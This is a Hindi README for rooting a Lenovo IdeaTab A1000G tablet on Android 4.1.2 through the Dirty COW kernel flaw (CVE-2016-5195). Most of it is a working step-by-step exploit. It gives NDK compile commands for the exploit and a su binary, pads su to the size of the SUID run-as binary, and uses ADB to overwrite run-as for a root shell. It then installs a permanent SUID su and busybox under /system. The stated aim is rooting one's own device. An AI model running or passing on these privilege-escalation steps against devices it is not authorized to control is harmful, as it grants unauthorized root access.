लेनोवो आइडियाटैब A1000G — रूट
नोट: यह दस्तावेज़ और एक्सप्लॉइट कोड AI सहायता (Kiro) के साथ तैयार किया गया था।
उपयोग से पहले सत्यापित करें — AI गलतियाँ कर सकता है और करता भी है।
डिवाइस
| फ़ील्ड | मान |
|---|
| मॉडल | लेनोवो आइडियाटैब A1000G |
| SoC | MediaTek MT8317 (= MT6517) |
| CPU | डुअल-कोर Cortex-A9 @ 1.2GHz |
| कर्नेल | Linux 3.4.0 |
| बिल्ड | A1000G_A412_01_09_130907_2G |
| एंड्रॉइड | 4.1.2 (जेली बीन) |
आवश्यक शर्तें
- USB डीबगिंग सक्षम
- ADB कनेक्टेड
- Android NDK r28+
~/Android/Sdk/ndk/ पर
busybox-armv7l स्टैटिक बाइनरी (busybox.net/downloads/binaries/1.21.1/)
एक्सप्लॉइट — CVE-2016-5195 (डर्टी COW)
कर्नेल mmap/write पथ में रेस कंडीशन। कर्नेल 2.6.22–4.8.3 को प्रभावित करता है।
लक्ष्य: /system/bin/run-as (SUID रूट, 9448 बाइट्स)।
1. कंपाइल करें
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang
# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
-UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
dcow_main.c dirtycow_android.c
# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c
2. su को लक्ष्य आकार (9448 बाइट्स) तक पैड करें
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)
3. चलाएँ
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!
4. su को स्थायी रूप से इंस्टॉल करें
# Enter root shell first
adb shell /system/bin/run-as
# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su
5. busybox इंस्टॉल करें (वैकल्पिक)
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox
# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/
उपयोग
adb shell
/system/bin/run-as # drops to root shell (#)
id # uid=0(root)
adb shell /system/bin/su -c cmd काम नहीं करता — ADB setuid छोड़ देता है।
पहले इंटरैक्टिव शेल में प्रवेश करना आवश्यक है।
रूट के बाद
/system/bin/run-as → अधिलेखित (मूल run-as कार्यक्षमता टूट गई)
/system/bin/su → स्थायी SUID su बाइनरी
/system/bin/busybox → busybox 1.21.1
असफल प्रयास
| तरीका | कारण |
|---|
| CVE-2013-1763 sock_diag | कर्नेल में कंपाइल नहीं किया गया |
फ़ाइलें
.
├── README.md
├── root.sh # automated root script
├── dirtycow_android.c # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c # main() wrapper
└── su2_src.c # su binary source
प्रीकंपाइल्ड बाइनरी शामिल नहीं हैं — ऊपर दिए गए चरणों का उपयोग करके स्रोत से कंपाइल करें।
संदर्भ